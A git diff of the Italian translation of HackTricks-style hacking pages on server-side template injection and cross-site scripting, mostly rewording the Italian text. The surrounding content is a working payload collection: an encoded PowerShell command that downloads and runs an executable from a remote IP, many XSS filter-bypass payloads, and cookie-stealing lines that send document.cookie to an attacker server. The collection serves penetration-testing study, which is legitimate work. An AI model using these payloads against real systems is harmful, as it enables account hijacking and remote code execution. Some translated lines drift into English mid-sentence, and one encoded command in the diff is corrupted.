* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHccgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
Il metodo .NET `System.Diagnostics.Process.Start` può essere utilizzato per avviare qualsiasi processo sul server e quindi creare un webshell. Puoi trovare un esempio di webapp vulnerabile in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
|
||||
|
@ -939,7 +939,7 @@ Anche se è Perl, utilizza tag simili a ERB in Ruby.
|
|||
```
|
||||
### SSTI in GO
|
||||
|
||||
Nel motore di template di Go, la conferma del suo utilizzo può essere effettuata con payload specifici:
|
||||
Nel motore di template di Go, la conferma del suo utilizzo può essere fatta con payload specifici:
|
||||
|
||||
* `{{ . }}`: Rivela la struttura dei dati in input. Ad esempio, se viene passato un oggetto con un attributo `Password`, `{{ .Password }}` potrebbe esporlo.
|
||||
* `{{printf "%s" "ssti" }}`: Ci si aspetta che visualizzi la stringa "ssti".
|
||||
|
@ -995,7 +995,7 @@ Se pensi possa essere utile, leggi:
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
## Pratica & Riferimenti
|
||||
## Pratica e Riferimenti
|
||||
|
||||
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
|
||||
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
@ -1003,7 +1003,7 @@ Se pensi possa essere utile, leggi:
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
|
||||
[**RootedCON**](https://www.rootedcon.com/) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto di incontro fervente per professionisti della tecnologia e della cybersecurity in ogni disciplina.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'impossibile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Metodologia
|
||||
|
||||
1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _header_?, _cookie_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**.
|
||||
1. Controlla se **qualunque valore tu controlli** (_parametri_, _percorso_, _intestazioni_?, _cookie_?) viene **riflesso** nell'HTML o **utilizzato** dal codice **JS**.
|
||||
2. **Trova il contesto** in cui è riflesso/utilizzato.
|
||||
3. Se **riflesso**
|
||||
1. Controlla **quali simboli puoi usare** e, a seconda di ciò, prepara il payload:
|
||||
1. Controlla **quali simboli puoi usare** e a seconda di ciò, prepara il payload:
|
||||
1. In **HTML grezzo**:
|
||||
1. Puoi creare nuovi tag HTML?
|
||||
2. Puoi usare eventi o attributi che supportano il protocollo `javascript:`?
|
||||
3. Puoi bypassare le protezioni?
|
||||
4. Il contenuto HTML viene interpretato da qualche motore JS lato client (_AngularJS_, _VueJS_, _Mavo_...), potresti abusare di un [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
4. Il contenuto HTML viene interpretato da qualche motore JS client-side (_AngularJS_, _VueJS_, _Mavo_...), potresti abusare di un [**Client Side Template Injection**](../client-side-template-injection-csti.md).
|
||||
5. Se non puoi creare tag HTML che eseguono codice JS, potresti abusare di un [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)?
|
||||
2. All'interno di un **tag HTML**:
|
||||
1. Puoi uscire nel contesto HTML grezzo?
|
||||
|
@ -29,7 +29,7 @@ Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **
|
|||
3. I tuoi input sono in template literals \`\`?
|
||||
4. Puoi bypassare le protezioni?
|
||||
4. Funzione Javascript **in esecuzione**
|
||||
1. Puoi indicare il nome della funzione da eseguire. ad es.: `?callback=alert(1)`
|
||||
1. Puoi indicare il nome della funzione da eseguire. es.: `?callback=alert(1)`
|
||||
4. Se **utilizzato**:
|
||||
1. Potresti sfruttare un **DOM XSS**, fai attenzione a come il tuo input è controllato e se il tuo **input controllato è utilizzato da qualche sink.**
|
||||
|
||||
|
@ -41,29 +41,29 @@ Quando lavori su un XSS complesso potresti trovare interessante sapere di:
|
|||
|
||||
## Valori riflessi
|
||||
|
||||
Per sfruttare con successo un XSS, la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
|
||||
Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore controllato da te che viene riflesso** nella pagina web.
|
||||
|
||||
* **Riflesso intermediatamente**: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web, potresti sfruttare un **Reflected XSS**.
|
||||
* **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server e viene riflesso ogni volta che accedi a una pagina, potresti sfruttare un **Stored XSS**.
|
||||
* **Accessibile tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS, potresti sfruttare un **DOM XSS**.
|
||||
* **Riflesso intermediatamente**: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web potresti sfruttare un **Reflected XSS**.
|
||||
* **Memorizzato e riflesso**: Se scopri che un valore controllato da te è salvato nel server e viene riflesso ogni volta che accedi a una pagina potresti sfruttare un **Stored XSS**.
|
||||
* **Accessibile tramite JS**: Se scopri che un valore controllato da te viene accesso utilizzando JS potresti sfruttare un **DOM XSS**.
|
||||
|
||||
## Contesti
|
||||
|
||||
Quando cerchi di sfruttare un XSS, la prima cosa che devi sapere è **dove viene riflesso il tuo input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
|
||||
Quando cerchi di sfruttare un XSS la prima cosa che devi sapere è **dove il tuo input viene riflesso**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
|
||||
|
||||
### HTML grezzo
|
||||
|
||||
Se il tuo input è **riflesso nella pagina HTML grezza**, dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
|
||||
Inoltre, tieni presente [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
Se il tuo input è **riflesso nell'HTML grezzo** della pagina dovrai abusare di qualche **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.\
|
||||
Inoltre, tieni a mente [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||
|
||||
### All'interno dell'attributo dei tag HTML
|
||||
|
||||
Se il tuo input è riflesso all'interno del valore dell'attributo di un tag, potresti provare:
|
||||
Se il tuo input è riflesso all'interno del valore dell'attributo di un tag potresti provare:
|
||||
|
||||
1. A **sfuggire dall'attributo e dal tag** (poi sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: `"><img [...]`
|
||||
2. Se **puoi sfuggire dall'attributo ma non dal tag** (`>` è codificato o eliminato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Se **non puoi sfuggire dall'attributo** (`"` è codificato o eliminato), a seconda di **quale attributo** il tuo valore è riflesso e **se controlli tutto il valore o solo una parte**, sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=`, sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Se il tuo input è riflesso all'interno di "**tag non sfruttabili**", potresti provare il trucco **`accesskey`** per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttare questo): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. Se **non puoi sfuggire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** il tuo valore è riflesso **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante **esempio** è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Se il tuo input è riflesso all'interno di "**tag non sfruttabili**" potresti provare il trucco **`accesskey`** per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttare questo): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Esempio strano di Angular che esegue XSS se controlli un nome di classe:
|
||||
```html
|
||||
|
@ -75,7 +75,7 @@ Esempio strano di Angular che esegue XSS se controlli un nome di classe:
|
|||
|
||||
In questo caso, il tuo input è riflesso tra i tag **`<script> [...] </script>`** di una pagina HTML, all'interno di un file `.js` o all'interno di un attributo utilizzando il protocollo **`javascript:`**:
|
||||
|
||||
* Se riflesso tra i tag **`<script> [...] </script>`**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` e uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag iniettato `</script>` è all'interno del codice HTML.
|
||||
* Se riflesso tra i tag **`<script> [...] </script>`**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` e uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag `</script>` iniettato è all'interno del codice HTML.
|
||||
* Se riflesso **all'interno di una stringa JS** e l'ultimo trucco non funziona, dovresti **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è un errore, non verrà eseguito):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
|
@ -100,7 +100,7 @@ Javascript Hoisting si riferisce all'opportunità di **dichiarare funzioni, vari
|
|||
|
||||
Diverse pagine web hanno endpoint che **accettano come parametro il nome della funzione da eseguire**. Un esempio comune da vedere nel mondo reale è qualcosa come: `?callback=callbackFunc`.
|
||||
|
||||
Un buon modo per scoprire se qualcosa fornito direttamente dall'utente sta cercando di essere eseguito è **modificare il valore del parametro** (ad esempio in 'Vulnerable') e cercare nella console errori come:
|
||||
Un buon modo per scoprire se qualcosa fornito direttamente dall'utente sta cercando di essere eseguito è **modificare il valore del parametro** (ad esempio a 'Vulnerable') e cercare nella console errori come:
|
||||
|
||||
![](<../../.gitbook/assets/image (711).png>)
|
||||
|
||||
|
@ -180,7 +180,7 @@ Se non hai trovato alcun tag HTML valido, puoi provare a **creare un tag persona
|
|||
```
|
||||
### Blacklist Bypasses
|
||||
|
||||
Se viene utilizzato un qualche tipo di blacklist, potresti provare a eluderla con alcuni trucchi sciocchi:
|
||||
Se viene utilizzato qualche tipo di blacklist, potresti provare a eluderla con alcuni trucchi sciocchi:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
|
@ -230,10 +230,10 @@ onerror=alert`1`
|
|||
//Use more than one
|
||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||
```
|
||||
### Bypass della lunghezza (piccoli XSS)
|
||||
### Bypass della lunghezza (piccole XSS)
|
||||
|
||||
{% hint style="info" %}
|
||||
**Altri piccoli XSS per diversi ambienti** payload [**possono essere trovati qui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**qui**](https://tinyxss.terjanq.me).
|
||||
**Altre piccole XSS per diversi ambienti** payload [**possono essere trovati qui**](https://github.com/terjanq/Tiny-XSS-Payloads) e [**qui**](https://tinyxss.terjanq.me).
|
||||
{% endhint %}
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
|
@ -241,13 +241,13 @@ onerror=alert`1`
|
|||
<script src=//aa.es>
|
||||
<script src=//℡㏛.pw>
|
||||
```
|
||||
L'ultimo utilizza 2 caratteri unicode che si espandono a 5: telsr\
|
||||
L'ultimo utilizza 2 caratteri unicode che si espandono in 5: telsr\
|
||||
Altri di questi caratteri possono essere trovati [qui](https://www.unicode.org/charts/normalization/).\
|
||||
Per controllare in quali caratteri sono decomposti controlla [qui](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Se per sfruttare la vulnerabilità hai bisogno che **l'utente clicchi un link o un modulo** con dati precompilati, potresti provare a [**sfruttare il Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
|
||||
Se per sfruttare la vulnerabilità hai bisogno che **l'utente clicchi un link o un modulo** con dati precompilati, potresti provare a [**abusare del Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
|
||||
|
||||
### Impossibile - Dangling Markup
|
||||
|
||||
|
@ -257,8 +257,8 @@ Se pensi che **sia impossibile creare un tag HTML con un attributo per eseguire
|
|||
|
||||
### All'interno del tag/escaping dal valore dell'attributo
|
||||
|
||||
Se sei **all'interno di un tag HTML**, la prima cosa che potresti provare è **uscire** dal tag e utilizzare alcune delle tecniche menzionate nella [sezione precedente](./#injecting-inside-raw-html) per eseguire codice JS.\
|
||||
Se **non puoi uscire dal tag**, potresti creare nuovi attributi all'interno del tag per provare a eseguire codice JS, ad esempio utilizzando un payload come (_nota che in questo esempio le virgolette doppie sono usate per uscire dall'attributo, non ne avrai bisogno se il tuo input è riflesso direttamente all'interno del tag_):
|
||||
Se sei **all'interno di un tag HTML**, la prima cosa che potresti provare è di **escape** dal tag e utilizzare alcune delle tecniche menzionate nella [sezione precedente](./#injecting-inside-raw-html) per eseguire codice JS.\
|
||||
Se **non puoi escape dal tag**, potresti creare nuovi attributi all'interno del tag per provare a eseguire codice JS, ad esempio utilizzando alcuni payload come (_nota che in questo esempio le virgolette doppie sono usate per fare escape dall'attributo, non ne avrai bisogno se il tuo input è riflesso direttamente all'interno del tag_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -275,12 +275,12 @@ Se **non puoi uscire dal tag**, potresti creare nuovi attributi all'interno del
|
|||
```
|
||||
### All'interno dell'attributo
|
||||
|
||||
Anche se **non puoi uscire dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflesso **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato.\
|
||||
Anche se **non puoi uscire dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflesso in **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato.\
|
||||
Un altro **esempio** interessante è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Bypass all'interno dell'evento usando la codifica HTML/URL encode**
|
||||
|
||||
I **caratteri codificati in HTML** all'interno del valore degli attributi dei tag HTML vengono **decodificati durante l'esecuzione**. Pertanto qualcosa come il seguente sarà valido (il payload è in grassetto): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Torna Indietro </a>`
|
||||
I **caratteri codificati in HTML** all'interno del valore degli attributi dei tag HTML vengono **decodificati durante l'esecuzione**. Pertanto, qualcosa come il seguente sarà valido (il payload è in grassetto): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Torna Indietro </a>`
|
||||
|
||||
Nota che **qualsiasi tipo di codifica HTML è valido**:
|
||||
```javascript
|
||||
|
@ -359,7 +359,7 @@ _**In questo caso, il trucco di codifica HTML e il trucco di codifica Unicode de
|
|||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
Inoltre, c'è un altro **bel trucco** per questi casi: **Anche se il tuo input all'interno di `javascript:...` è codificato in URL, verrà decodificato in URL prima di essere eseguito.** Quindi, se hai bisogno di **uscire** dalla **stringa** usando un **apice singolo** e vedi che **è codificato in URL**, ricorda che **non importa,** verrà **interpretato** come un **apice singolo** durante il **tempo di esecuzione.**
|
||||
Moreover, there is another **nice trick** for these cases: **Anche se il tuo input all'interno di `javascript:...` è codificato in URL, verrà decodificato in URL prima di essere eseguito.** So, if you need to **escape** from the **string** using a **single quote** and you see that **è codificato in URL**, remember that **non importa,** verrà **interpretato** come un **single quote** durante il **tempo di esecuzione**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
|
@ -411,7 +411,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
```
|
||||
### XSS in "Tag non sfruttabili" (input nascosto, link, canonico, meta)
|
||||
|
||||
Da [**qui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **è ora possibile abusare degli input nascosti con:**
|
||||
Da [**qui**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ora è possibile abusare degli input nascosti con:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||
|
@ -424,7 +424,7 @@ E nei **meta tag**:
|
|||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Da [**qui**](https://portswigger.net/research/xss-in-hidden-input-fields): Puoi eseguire un **payload XSS all'interno di un attributo nascosto**, a condizione che tu possa **persuadere** la **vittima** a premere la **combinazione di tasti**. Su Firefox Windows/Linux la combinazione di tasti è **ALT+SHIFT+X** e su OS X è **CTRL+ALT+X**. Puoi specificare una combinazione di tasti diversa utilizzando un tasto diverso nell'attributo access key. Ecco il vettore:
|
||||
Da [**qui**](https://portswigger.net/research/xss-in-hidden-input-fields): Puoi eseguire un **payload XSS all'interno di un attributo nascosto**, a patto di poter **persuadere** la **vittima** a premere la **combinazione di tasti**. Su Firefox Windows/Linux la combinazione di tasti è **ALT+SHIFT+X** e su OS X è **CTRL+ALT+X**. Puoi specificare una combinazione di tasti diversa utilizzando un tasto diverso nell'attributo access key. Ecco il vettore:
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
|
@ -470,7 +470,7 @@ Questo trucco è stato preso da [https://medium.com/@skavans\_/improving-the-imp
|
|||
|
||||
## Iniezione all'interno del codice JavaScript
|
||||
|
||||
In questo caso il tuo **input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra i tag `<script>...</script>` o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`.
|
||||
In questo caso il **tuo input** verrà **riflesso all'interno del codice JS** di un file `.js` o tra i tag `<script>...</script>` o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo `javascript:`.
|
||||
|
||||
### Escape del tag \<script>
|
||||
|
||||
|
@ -478,11 +478,11 @@ Se il tuo codice è inserito all'interno di `<script> [...] var input = 'dati ri
|
|||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Nota che in questo esempio **non abbiamo nemmeno chiuso l'apostrofo**. Questo perché **il parsing HTML viene eseguito prima dal browser**, il che implica l'identificazione degli elementi della pagina, inclusi i blocchi di script. Il parsing di JavaScript per comprendere ed eseguire gli script incorporati viene effettuato solo successivamente.
|
||||
Nota che in questo esempio **non abbiamo nemmeno chiuso l'apostrofo**. Questo perché **il parsing HTML viene eseguito prima dal browser**, il che implica l'identificazione degli elementi della pagina, inclusi i blocchi di script. Il parsing di JavaScript per comprendere ed eseguire gli script incorporati viene eseguito solo successivamente.
|
||||
|
||||
### Dentro il codice JS
|
||||
### All'interno del codice JS
|
||||
|
||||
Se `<>` vengono sanitizzati, puoi comunque **eseguire l'escape della stringa** dove il tuo input è **situato** e **eseguire JS arbitrario**. È importante **correggere la sintassi JS**, perché se ci sono errori, il codice JS non verrà eseguito:
|
||||
Se `<>` vengono sanitizzati puoi comunque **eseguire l'escape della stringa** dove il tuo input è **situato** e **eseguire JS arbitrario**. È importante **correggere la sintassi JS**, perché se ci sono errori, il codice JS non verrà eseguito:
|
||||
```
|
||||
'-alert(document.domain)-'
|
||||
';alert(document.domain)//
|
||||
|
@ -511,7 +511,7 @@ loop``````````````
|
|||
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
|
||||
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
|
||||
```
|
||||
### Esecuzione JS di codifica Unicode
|
||||
### Esecuzione JS codificata in Unicode
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
\u0061lert(1)
|
||||
|
@ -563,7 +563,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**JavaScript nuove righe (da** [**trucchi delle nuove righe di JavaScript**](./#javascript-new-lines) **)**
|
||||
**JavaScript nuove righe (da** [**trucchi delle nuove righe in JavaScript**](./#javascript-new-lines) **)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||
|
@ -859,7 +859,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
};
|
||||
|
||||
```
|
||||
### Tipi di script per XSS
|
||||
### Tipi di Script per XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Quindi, quali tipi potrebbero essere indicati per caricare uno script?
|
||||
```html
|
||||
|
@ -913,9 +913,9 @@ Questo comportamento è stato utilizzato in [**questo writeup**](https://github.
|
|||
}
|
||||
</script>
|
||||
```
|
||||
### Web Content-Types to XSS
|
||||
### Tipi di contenuto web per XSS
|
||||
|
||||
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti tipi di contenuto possono eseguire XSS in tutti i browser:
|
||||
(Da [**qui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti tipi di contenuto possono eseguire XSS in tutti i browser:
|
||||
|
||||
* text/html
|
||||
* application/xhtml+xml
|
||||
|
@ -928,7 +928,7 @@ Questo comportamento è stato utilizzato in [**questo writeup**](https://github.
|
|||
|
||||
In altri browser possono essere utilizzati altri **`Content-Types`** per eseguire JS arbitrario, controlla: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||||
|
||||
### xml Content Type
|
||||
### Tipo di contenuto xml
|
||||
|
||||
Se la pagina restituisce un tipo di contenuto text/xml è possibile indicare uno spazio dei nomi ed eseguire JS arbitrario:
|
||||
```xml
|
||||
|
@ -942,7 +942,7 @@ Se la pagina restituisce un tipo di contenuto text/xml è possibile indicare uno
|
|||
|
||||
Quando qualcosa come **`"some {{template}} data".replace("{{template}}", <user_input>)`** viene utilizzato. L'attaccante potrebbe usare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) per cercare di eludere alcune protezioni: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
||||
Ad esempio, in [**questo writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato usato per **scappare una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
|
||||
Ad esempio in [**questo writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato usato per **scappare una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
|
||||
|
||||
### Chrome Cache to XSS
|
||||
|
||||
|
@ -1088,13 +1088,13 @@ trigger()
|
|||
|
||||
### Trappola Iframe
|
||||
|
||||
Fai navigare l'utente nella pagina senza uscire da un iframe e ruba le sue azioni (inclusi i dati inviati nei moduli):
|
||||
Costringere l'utente a navigare nella pagina senza uscire da un iframe e rubare le sue azioni (inclusi i dati inviati nei moduli):
|
||||
|
||||
{% content-ref url="../iframe-traps.md" %}
|
||||
[iframe-traps.md](../iframe-traps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Recupera Cookies
|
||||
### Recupera Cookie
|
||||
```javascript
|
||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
|
||||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
|
||||
|
@ -1309,7 +1309,7 @@ Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com)
|
|||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
```
|
||||
### Regex - Access Hidden Content
|
||||
### Regex - Accesso a Contenuti Nascosti
|
||||
|
||||
Da [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
|
||||
```javascript
|
||||
|
@ -1342,12 +1342,12 @@ Puoi iniettare codice Markdown che verrà renderizzato? Forse puoi ottenere XSS!
|
|||
|
||||
### XSS a SSRF
|
||||
|
||||
Hai XSS su un **sito che utilizza la cache**? Prova **a passare a SSRF** tramite Edge Side Include Injection con questo payload:
|
||||
Hai XSS su un **sito che utilizza la cache**? Prova **a trasformarlo in SSRF** tramite Edge Side Include Injection con questo payload:
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Usalo per bypassare le restrizioni sui cookie, i filtri XSS e molto altro!\
|
||||
Maggiore informazione su questa tecnica qui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
Ulteriori informazioni su questa tecnica qui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS in PDF creati dinamicamente
|
||||
|
||||
|
@ -1368,7 +1368,7 @@ Se non puoi iniettare tag HTML, potrebbe valere la pena provare a **iniettare da
|
|||
|
||||
AMP, mirato ad accelerare le prestazioni delle pagine web sui dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi su velocità e sicurezza. Supporta una gamma di componenti per varie funzionalità, accessibili tramite [componenti AMP](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Il formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende specifici componenti AMP alle email, consentendo ai destinatari di interagire con i contenuti direttamente all'interno delle loro email.
|
||||
Il formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componenti AMP specifici alle email, consentendo ai destinatari di interagire con i contenuti direttamente all'interno delle loro email.
|
||||
|
||||
Esempio [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
|
